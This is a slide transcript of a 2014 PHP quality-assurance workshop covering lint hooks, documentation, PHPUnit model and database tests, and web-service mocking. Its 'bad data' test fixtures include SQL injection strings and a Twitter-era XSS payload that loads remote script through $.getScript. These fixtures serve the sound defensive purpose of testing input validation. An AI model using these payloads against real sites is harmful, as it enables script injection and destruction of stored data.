Workshop quality assurance for php projects - PHPNW Manchester 2014

208
QA for PHP projects

description

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Transcript of Workshop quality assurance for php projects - PHPNW Manchester 2014

Page 1: Workshop quality assurance for php projects - PHPNW Manchester 2014

QA for PHP projects

Page 2: Workshop quality assurance for php projects - PHPNW Manchester 2014

Michelangelo van Dam

Page 3: Workshop quality assurance for php projects - PHPNW Manchester 2014

Schedule Workshop

Introduction to Quality Assurance Revision control

Documenting Testing

Measuring Automating Team works!

Page 4: Workshop quality assurance for php projects - PHPNW Manchester 2014

#phpqa

Page 5: Workshop quality assurance for php projects - PHPNW Manchester 2014

Introduction to QA

Page 6: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why QA?

Page 7: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why QA

Safeguarding code

Page 8: Workshop quality assurance for php projects - PHPNW Manchester 2014

Detect bugs early

Page 9: Workshop quality assurance for php projects - PHPNW Manchester 2014

Observe behavior

Page 10: Workshop quality assurance for php projects - PHPNW Manchester 2014

Prevent accidents from happening

Page 11: Workshop quality assurance for php projects - PHPNW Manchester 2014

Tracking progress

Page 12: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why invest in QA?

Page 13: Workshop quality assurance for php projects - PHPNW Manchester 2014

Keeps your code in shape

Page 14: Workshop quality assurance for php projects - PHPNW Manchester 2014

Measures speed and performance

Page 15: Workshop quality assurance for php projects - PHPNW Manchester 2014

Boosts team spirit

Page 16: Workshop quality assurance for php projects - PHPNW Manchester 2014

Saves time

Page 17: Workshop quality assurance for php projects - PHPNW Manchester 2014

Reports continuously

Page 18: Workshop quality assurance for php projects - PHPNW Manchester 2014

Delivers ready to deploy packages

Page 19: Workshop quality assurance for php projects - PHPNW Manchester 2014

Quality Assurance Tools

Page 20: Workshop quality assurance for php projects - PHPNW Manchester 2014

Revision Control

Page 21: Workshop quality assurance for php projects - PHPNW Manchester 2014

Subversion

Page 22: Workshop quality assurance for php projects - PHPNW Manchester 2014

GIT

Page 23: Workshop quality assurance for php projects - PHPNW Manchester 2014

github

Page 24: Workshop quality assurance for php projects - PHPNW Manchester 2014

Mercurial

Page 25: Workshop quality assurance for php projects - PHPNW Manchester 2014

Bazaar

Page 26: Workshop quality assurance for php projects - PHPNW Manchester 2014

FTP

Page 27: Workshop quality assurance for php projects - PHPNW Manchester 2014

Advantages of SCM

• team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools

TIP:  hooks  for  tools

Page 28: Workshop quality assurance for php projects - PHPNW Manchester 2014

Syntax Checking

Page 29: Workshop quality assurance for php projects - PHPNW Manchester 2014

php  -­‐l  (lint)

hAp://www.php.net/manual/en/features.commandline.opGons.php

Page 30: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Lint

• checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files

• can provide reports - but if something fails -> the build fails

TIP:  pre-­‐commit  hook

Page 31: Workshop quality assurance for php projects - PHPNW Manchester 2014

Syntax

php -lf /path/to/filename.php

Page 32: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP  Lint  on  Command  Line

Page 33: Workshop quality assurance for php projects - PHPNW Manchester 2014

SVN Pre commit hook#!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit !REPOS="$1" TXN="$2" !# modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook !# PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done

Page 34: Workshop quality assurance for php projects - PHPNW Manchester 2014

SVN  pre-­‐commit  hook

Page 35: Workshop quality assurance for php projects - PHPNW Manchester 2014

Documenting

Page 36: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why documenting?

• new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)

Page 37: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2

Page 38: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2  class  details

Page 39: Workshop quality assurance for php projects - PHPNW Manchester 2014

Based  on  docblocks  in  code

Page 40: Workshop quality assurance for php projects - PHPNW Manchester 2014

And  the  output

Page 41: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2  class  relaGon  chart

Page 42: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2  on  your  project

Page 43: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing

Page 44: Workshop quality assurance for php projects - PHPNW Manchester 2014

Any reasons not to test?

Page 45: Workshop quality assurance for php projects - PHPNW Manchester 2014

Most common excuses

• no time • not within budget • development team does not know how • tests are provided after delivery • …

Page 46: Workshop quality assurance for php projects - PHPNW Manchester 2014

NO EXCUSES!

Page 47: Workshop quality assurance for php projects - PHPNW Manchester 2014

Maintainability

• during development - test will fail indicating bugs

• after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!

• long term projects - refactoring made easy

Page 48: Workshop quality assurance for php projects - PHPNW Manchester 2014

Remember

“Once a test is made, it will always be tested!”

Page 49: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 50: Workshop quality assurance for php projects - PHPNW Manchester 2014

Confidence

• for the developer - code works

• for the manager - project succeeds

• for sales / general management / share holders - making profit

• for the customer - paying for what they want

Page 51: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 52: Workshop quality assurance for php projects - PHPNW Manchester 2014

Unit testing PHP apps

Page 53: Workshop quality assurance for php projects - PHPNW Manchester 2014

Setting things up

Page 54: Workshop quality assurance for php projects - PHPNW Manchester 2014

Example phpunit.xml<phpunit        colors="true"    bootstrap="TestHelper.php”  stopOnFailure="true"  stopOnError="true"  syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

Page 55: Workshop quality assurance for php projects - PHPNW Manchester 2014

When using composer<phpunit        colors="true"      bootstrap="./vendor/autoload.php"      stopOnFailure="true"        stopOnError="true"        syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

Page 56: Workshop quality assurance for php projects - PHPNW Manchester 2014

TestHelper.php<?php !// set our app paths and environments !define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); !define('APPLICATION_PATH', BASE_PATH . '/application'); !define('TEST_PATH', BASE_PATH . '/tests'); !define('APPLICATION_ENV', 'testing'); !!// Include path !set_include_path( !    . PATH_SEPARATOR . BASE_PATH . '/library' !    . PATH_SEPARATOR . get_include_path() !); !!// Set the default timezone !!! !date_default_timezone_set('Europe/Brussels'); !!// We wanna catch all errors en strict warnings !error_reporting(E_ALL|E_STRICT); !!require_once 'Zend/Application.php'; !$application = new Zend_Application( !    APPLICATION_ENV, !    APPLICATION_PATH . '/configs/application.ini' !); !!$application->bootstrap();

Page 57: Workshop quality assurance for php projects - PHPNW Manchester 2014

Frameworks help

• Symfony • Zend Framework • Aura • Lithium • Laravel • …

Page 58: Workshop quality assurance for php projects - PHPNW Manchester 2014

Let’s get started…

Page 59: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing models

Page 60: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing business logic

• models contain logic - tied to your business - tied to your storage - tied to your resources

• no “one size fits all” solution

Page 61: Workshop quality assurance for php projects - PHPNW Manchester 2014

Type: data containers

• contains structured data - populated through setters and getters

• perform logic tied to it’s purpose - transforming data - filtering data - validating data

• can convert into other data types - arrays - strings (JSON, serialized, xml, …)

• are providers to other models

Page 62: Workshop quality assurance for php projects - PHPNW Manchester 2014

Comment Class

Page 63: Workshop quality assurance for php projects - PHPNW Manchester 2014

Writing model test<?php !class Application_Model_CommentTest extends PHPUnit_Framework_TestCase !{ !    protected $_comment; !    protected function setUp() !    { !        $this->_comment = new Application_Model_Comment(); !        parent::setUp(); !    } !    protected function tearDown() !    { !        parent::tearDown(); !        $this->_comment = null; !    } !    public function testModelIsEmptyAtConstruct() !    { !        $this->assertSame(0, $this->_comment->getId()); !        $this->assertNull($this->_comment->getFullName()); !        $this->assertNull($this->_comment->getEmailAddress()); !        $this->assertNull($this->_comment->getWebsite()); !        $this->assertNull($this->_comment->getComment()); !    } !}

Page 64: Workshop quality assurance for php projects - PHPNW Manchester 2014

This test won’t run!

Page 65: Workshop quality assurance for php projects - PHPNW Manchester 2014

Create a simple model<?php !!class Application_Model_Comment !{ !    protected $_id = 0; protected $_fullName; protected $_emailAddress; !    protected $_website; protected $_comment; !     !    public function setId($id) { $this->_id = (int) $id; return $this; } !    public function getId() { return $this->_id; } !    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } !    public function getFullName() { return $this->_fullName; } !    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } !    public function getEmailAddress() { return $this->_emailAddress; } !    public function setWebsite($website) { $this->_website = (string) $website; return $this; } !    public function getWebsite() { return $this->_website; } !    public function setComment($comment) { $this->_comment = (string) $comment; return $this; } !    public function getComment() { return $this->_comment; } !    public function populate($row) { !        if (is_array($row)) { !            $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); !        } !        if (isset ($row->id)) $this->setId($row->id); !        if (isset ($row->fullName)) $this->setFullName($row->fullName); !        if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); !        if (isset ($row->website)) $this->setWebsite($row->website); !        if (isset ($row->comment)) $this->setComment($row->comment); !    } !    public function toArray() { !        return array ( !            'id'           => $this->getId(), !            'fullName'     => $this->getFullName(), !            'emailAddress' => $this->getEmailAddress(), !            'website'      => $this->getWebsite(), !            'comment'      => $this->getComment(), !        ); !    } !}

Page 66: Workshop quality assurance for php projects - PHPNW Manchester 2014

We pass the test…

Page 67: Workshop quality assurance for php projects - PHPNW Manchester 2014

Really ???

Page 68: Workshop quality assurance for php projects - PHPNW Manchester 2014

Protection!

We Need Protection!

Page 69: Workshop quality assurance for php projects - PHPNW Manchester 2014

Little Bobby Tables

http://xkcd.com/327/

Page 70: Workshop quality assurance for php projects - PHPNW Manchester 2014

Is this your project?

Page 71: Workshop quality assurance for php projects - PHPNW Manchester 2014

Not all data from form!

• model can be populated from - users through the form - data stored in the database - a web service (hosted by yourself or 3rd-party)

• simply test it - by using same test scenario’s from our form

Page 72: Workshop quality assurance for php projects - PHPNW Manchester 2014

The nasty internet

https://www.owasp.org/index.php/Top_10_2013-Top_10

Page 73: Workshop quality assurance for php projects - PHPNW Manchester 2014

The good stuffpublic function goodData() !{ !    return array ( !        array ('John Doe', '[email protected]',  !               'http://example.com', 'test comment'), !        array ("Matthew Weier O'Phinney", '[email protected]',  !               'http://weierophinney.net', 'Doing an MWOP-Test'), !        array ('D. Keith Casey, Jr.', '[email protected]',  !               'http://caseysoftware.com', 'Doing a monkey dance'), !    ); !} !/** ! * @dataProvider goodData ! */ !public function testModelAcceptsValidData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        $this->fail('Unexpected exception should not be triggered'); !    } !    $data['id'] = 0; !    $data['emailAddress'] = strtolower($data['emailAddress']); !    $data['website'] = strtolower($data['website']); !    $this->assertSame($this->_comment->toArray(), $data); !}

Page 74: Workshop quality assurance for php projects - PHPNW Manchester 2014

The bad stuffpublic function badData() !{ !    return array ( !        array ('','','',''), !        array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), !        array (str_repeat('x', 1000), '', '', ''), !        array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), !    ); !} !/** ! * @dataProvider badData ! */ !public function testModelRejectsBadData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        return; !    } !    $this->fail('Expected exception should be triggered'); !     !}

Page 75: Workshop quality assurance for php projects - PHPNW Manchester 2014

Let’s run it

Page 76: Workshop quality assurance for php projects - PHPNW Manchester 2014

Add input filters! (and don’t build it yourself!)

• Zend Framework 1: Zend_Filter_Input • Zend Framework 2: Zend\InputFilter • Symfony: Symfony\Component\Validator • Aura: Aura\Framework\Input\Filter • Lithium: lithium\util\Validator • Laravel: App\Validator • …

Page 77: Workshop quality assurance for php projects - PHPNW Manchester 2014

Modify our modelprotected $_filters; !protected $_validators; !!public function __construct($params = null) !{ !    $this->_filters = array ( !        'id' => array ('Int'), !        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), !        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'website' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'comment' => array ('StringTrim', 'StripTags'), !    ); !    $this->_validators = array ( !        'id' => array ('Int'), !        'fullName' => array ( !            new Zftest_Validate_Mwop(), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'emailAddress' => array ( !            'EmailAddress', !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'website' => array ( !            new Zend_Validate_Callback(array('Zend_Uri', 'check')), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'comment' => array ( !            new Zftest_Validate_TextBox(), !            new Zend_Validate_StringLength(array ('max' => 5000)), !        ), !    ); !    if (null !== $params) { $this->populate($params); } !}

Page 78: Workshop quality assurance for php projects - PHPNW Manchester 2014

Modify setters: Id & namepublic function setId($id) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('id' => $id)); !    if (!$input->isValid('id')) { !        throw new Zend_Exception('Invalid ID provided'); !    } !    $this->_id = (int) $input->id; !    return $this; !} !!public function setFullName($fullName) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('fullName' => $fullName)); !    if (!$input->isValid('fullName')) { !        throw new Zend_Exception('Invalid fullName provided'); !    } !    $this->_fullName = (string) $input->fullName; !    return $this; !}

Page 79: Workshop quality assurance for php projects - PHPNW Manchester 2014

Email & websitepublic function setEmailAddress($emailAddress) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('emailAddress' => $emailAddress)); !    if (!$input->isValid('emailAddress')) { !        throw new Zend_Exception('Invalid emailAddress provided'); !    } !    $this->_emailAddress = (string) $input->emailAddress; !    return $this; !} !!public function setWebsite($website) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('website' => $website)); !    if (!$input->isValid('website')) { !        throw new Zend_Exception('Invalid website provided'); !    } !    $this->_website = (string) $input->website; !    return $this; !}

Page 80: Workshop quality assurance for php projects - PHPNW Manchester 2014

and commentpublic function setComment($comment) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('comment' => $comment)); !    if (!$input->isValid('comment')) { !        throw new Zend_Exception('Invalid comment provided'); !    } !    $this->_comment = (string) $input->comment; !    return $this; !}

Page 81: Workshop quality assurance for php projects - PHPNW Manchester 2014

Now we’re good!

Page 82: Workshop quality assurance for php projects - PHPNW Manchester 2014

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  Service  {          public  function  login($username,  $password)          {                  $options  =  array  (                          'options'  =>  array  (                                  'default'  =>  false,                                  'regexp'  =>  '/^[a-­‐z0-­‐9]+$/',                          ),                  );                  $username  =  \filter_var($username,  FILTER_SANITIZE_STRING);                  if  (false  ===  \filter_var($username,  FILTER_VALIDATE_REGEXP,  $options))  {                          return  false;                  }                  //  continue  with  login  procedure                  return  true;          }  }

Page 83: Workshop quality assurance for php projects - PHPNW Manchester 2014

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  ServiceTest  extends  \PHPUnit_Framework_TestCase  {          public  function  badDataProvider()          {                  return  array  (                          array  ("1'  OR  1  =  1;",  'randompassword'),                  );          }              /**            *  @dataProvider  badDataProvider            */          public  function  testLoginCredentialsAreValid($username,  $password)          {                  $service  =  new  Service();                  $this-­‐>assertFalse($service-­‐>login($username,  $password));          }  }

Page 84: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing Databases

Page 85: Workshop quality assurance for php projects - PHPNW Manchester 2014

Integration Testing

• database specific functionality - triggers - constraints - stored procedures - sharding/scalability

• data input/output - correct encoding of data - transactions execution and rollback

Page 86: Workshop quality assurance for php projects - PHPNW Manchester 2014

Points of concern

• beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP

• beware of time related issues - timestamp vs. datetime - UTC vs. local time

Page 87: Workshop quality assurance for php projects - PHPNW Manchester 2014

The domain Model

• Model object • Mapper object • Table gateway object

Read more about it ☞

Page 88: Workshop quality assurance for php projects - PHPNW Manchester 2014

Change our test class

class Application_Model_CommentTest extends PHPUnit_Framework_TestCase

!becomes

!class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase

Page 89: Workshop quality assurance for php projects - PHPNW Manchester 2014

Setting DB Testing upprotected $_connectionMock; "!public function getConnection() "{ "    if (null === $this->_dbMock) { "        $this->bootstrap = new Zend_Application( "            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); "        $this->bootstrap->bootstrap('db'); "        $db = $this->bootstrap->getBootstrap()->getResource('db'); "        $this->_connectionMock = $this->createZendDbConnection( "            $db, 'zftest' "        ); "        return $this->_connectionMock; "    } "} "!public function getDataSet() "{ "    return $this->createFlatXmlDataSet( "        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); "}

Page 90: Workshop quality assurance for php projects - PHPNW Manchester 2014

initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 91: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing SELECTpublic function testDatabaseCanBeRead() "{ "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 92: Workshop quality assurance for php projects - PHPNW Manchester 2014

selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 93: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing UPDATEpublic function testDatabaseCanBeUpdated() "{ "    $comment = new Application_Model_Comment(); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->find(1, $comment); "    $comment->setComment('I like you picking up the challenge!'); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 94: Workshop quality assurance for php projects - PHPNW Manchester 2014

updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 95: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing DELETEpublic function testDatabaseCanDeleteAComment() "{ "    $comment = new Application_Model_Comment(); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->find(1, $comment) "           ->delete($comment); "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 96: Workshop quality assurance for php projects - PHPNW Manchester 2014

deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 97: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing INSERTpublic function testDatabaseCanAddAComment() "{ "    $comment = new Application_Model_Comment(); "    $comment->setFullName('Michelangelo van Dam') "            ->setEmailAddress('[email protected]') "            ->setWebsite('http://www.dragonbe.com') "            ->setComment('Unit Testing, It is so addictive!!!'); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 98: Workshop quality assurance for php projects - PHPNW Manchester 2014

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Page 99: Workshop quality assurance for php projects - PHPNW Manchester 2014

Run Test

Page 100: Workshop quality assurance for php projects - PHPNW Manchester 2014

What went wrong here?

Page 101: Workshop quality assurance for php projects - PHPNW Manchester 2014

AUTO_INCREMENT

Page 102: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing INSERT w/ filterpublic function testDatabaseCanAddAComment() "{ "    $comment = new Application_Model_Comment(); "    $comment->setFullName('Michelangelo van Dam') "            ->setEmailAddress('[email protected]') "            ->setWebsite('http://www.dragonbe.com') "            ->setComment('Unit Testing, It is so addictive!!!'); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( "            $ds, array ('comment' => array ('id'))); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); "    $this->assertDataSetsEqual($expected, $filteredDs); "}

Page 103: Workshop quality assurance for php projects - PHPNW Manchester 2014

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Page 104: Workshop quality assurance for php projects - PHPNW Manchester 2014

Run Test

Page 105: Workshop quality assurance for php projects - PHPNW Manchester 2014

• Database testing • is SLOW • is INTEGRATION • is IRRELEVANT

Page 106: Workshop quality assurance for php projects - PHPNW Manchester 2014

Use Faker

Page 107: Workshop quality assurance for php projects - PHPNW Manchester 2014

Faker generates data!<?php "namespace Project\Object; "!class EntryTest extends \PHPUnit_Framework_TestCase "{ "    protected $_faker; "    protected function setUp() "    { "        $this->_faker = \Faker\Factory::create(); "    } "    protected function tearDown() "    { "        $this->_faker = null;"    } "    public function testPopulateVehicleWithData() "    { "        $entry = array ( "            'mileage' => $this->_faker->numberBetween(1, 999999), "            'quantity' => $this->_faker->randomFloat(2, 0, 80), "            'unitPrice' => $this->_faker->randomFloat(3, 0, 5), "        ); "        $vehicle = new Vehicle(); "        $vehicle->getEntries()->add(new Entry($entry)); "        $this->assertEquals($entry, $vehicle->getEntries()->current()->toArray()); "    } "}

Page 108: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing web services

Page 109: Workshop quality assurance for php projects - PHPNW Manchester 2014

Web services remarks

• you need to comply with an API - that will be your reference

• you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues

Page 110: Workshop quality assurance for php projects - PHPNW Manchester 2014

Example: joind.in

Page 111: Workshop quality assurance for php projects - PHPNW Manchester 2014

http://joind.in/api

Page 112: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinTest<?php "class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase "{ "    protected $_joindin; "    protected $_settings; "     "    protected function setUp() "    { "        $this->_joindin = new Zftest_Service_Joindin(); "        $settings = simplexml_load_file(realpath( "            APPLICATION_PATH . '/../tests/_files/settings.xml')); "        $this->_settings = $settings->joindin; "        parent::setUp(); "    } "    protected function tearDown() "    { "        parent::tearDown(); "        $this->_joindin = null; "    } "}

Page 113: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinTestpublic function testJoindinCanGetUserDetails() "{ "    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; "    $this->_joindin->setUsername($this->_settings->username) "                   ->setPassword($this->_settings->password); "    $actual = $this->_joindin->user()->getDetail(); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "} "!public function testJoindinCanCheckStatus() "{ "    $date = new DateTime(); "    $date->setTimezone(new DateTimeZone('UTC')); "    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; "    $actual = $this->_joindin->site()->getStatus('testing unit test'); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "}

Page 114: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing the service

Page 115: Workshop quality assurance for php projects - PHPNW Manchester 2014

Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>

Page 116: Workshop quality assurance for php projects - PHPNW Manchester 2014

And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>

Latency of the network 1s

Page 117: Workshop quality assurance for php projects - PHPNW Manchester 2014

Solution… right here!

Page 118: Workshop quality assurance for php projects - PHPNW Manchester 2014

Your expectations

Page 119: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinTest<?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin();         $client = new Zend_Http_Client(); "        $client->setAdapter(new Zend_Http_Client_Adapter_Test()); "        $this->_joindin->setClient($client);" $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }

Page 120: Workshop quality assurance for php projects - PHPNW Manchester 2014

